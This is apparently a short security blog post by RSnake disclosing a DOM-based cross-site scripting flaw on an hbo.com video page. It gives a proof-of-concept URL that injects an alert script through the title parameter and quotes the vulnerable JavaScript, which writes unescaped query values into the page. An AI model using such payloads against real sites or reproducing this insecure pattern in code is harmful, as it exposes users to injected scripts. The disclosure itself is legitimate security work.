This one is interesting because it really is a DOM based XSS (not reflected). Scanners would have a tough time with this one. http://www.hbo.com/scripts/video/vidplayer_set.html?movie=/av/events/psa/ncta_psa+section=events+num=1115404066482+title=%3Cscript%3Ealert(%22XSS%22)%3C/script%3E%20PSA:%20%22From%20A%20Distance%22:%20Visit%20www.controlyourtv.org+tunein=
Here's the offending JavaScript:
function queryString(key){
var page = new PageQuery(window.location.search);
return unescape(page.getValue(key));
}
movie = queryString('movie');
section = queryString('section');
title = queryString('title');
num = queryString('num');
tunein = queryString('tunein');
And then way further down:
document.write( "<span class=\"title\">" + title + "</span><br>" );
- RSnake
Gotta love it.
http://ha.ckers.org